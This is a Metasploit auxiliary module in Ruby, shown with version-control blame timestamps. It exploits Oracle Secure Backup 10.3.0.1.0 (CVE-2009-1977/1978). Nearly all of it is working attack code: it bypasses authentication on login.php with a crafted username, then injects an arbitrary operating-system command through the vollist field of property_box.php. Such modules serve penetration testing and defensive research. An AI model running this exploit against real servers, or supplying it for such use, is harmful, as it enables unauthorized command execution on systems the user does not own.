2009-09-16 12:07:07 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2009-09-16 12:07:07 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2009-09-16 12:07:07 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits an authentication bypass vulnerability
|
|
|
|
in login.php in order to execute arbitrary code via a command injection
|
|
|
|
vulnerability in property_box.php. This module was tested
|
|
|
|
against Oracle Secure Backup version 10.3.0.1.0 (Win32).
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2009-1977' ],
|
|
|
|
[ 'OSVDB', '55903' ],
|
|
|
|
[ 'CVE', '2009-1978' ],
|
|
|
|
[ 'OSVDB', '55904' ],
|
2013-10-21 20:07:07 +00:00
|
|
|
[ 'ZDI', '09-058' ],
|
|
|
|
[ 'ZDI', '09-059' ],
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Aug 18 2009'))
|
2009-09-16 12:07:07 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(443),
|
|
|
|
OptString.new('CMD', [ false, "The command to execute.", "cmd.exe /c echo metasploit > %SYSTEMDRIVE%\\metasploit.txt" ]),
|
|
|
|
OptBool.new('SSL', [true, 'Use SSL', true]),
|
|
|
|
], self.class)
|
|
|
|
end
|
2009-09-16 12:07:07 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
|
|
|
cmd = datastore['CMD']
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
|
|
|
'uri' => '/login.php',
|
|
|
|
'data' => 'button=Login&attempt=1&mode=&tab=75&uname=-msf&passwd=msf',
|
|
|
|
'method' => 'POST',
|
|
|
|
}, 5)
|
2009-09-16 12:07:07 +00:00
|
|
|
|
2014-05-12 19:23:30 +00:00
|
|
|
if res && res.get_cookies.match(/PHPSESSID=(.*);(.*)/i)
|
2009-09-16 12:07:07 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Sending command: #{datastore['CMD']}...")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
send_request_cgi(
|
|
|
|
{
|
|
|
|
'uri' => '/property_box.php',
|
|
|
|
'data' => 'type=Sections&vollist=75' + Rex::Text.uri_encode("&" + cmd),
|
2014-05-12 19:23:30 +00:00
|
|
|
'cookie' => res.get_cookies,
|
2013-08-30 21:28:54 +00:00
|
|
|
'method' => 'POST',
|
|
|
|
}, 5)
|
2009-09-16 12:07:07 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Done.")
|
|
|
|
else
|
|
|
|
print_error("Invalid PHPSESSION token..")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
end
|
2009-09-16 12:07:07 +00:00
|
|
|
end
|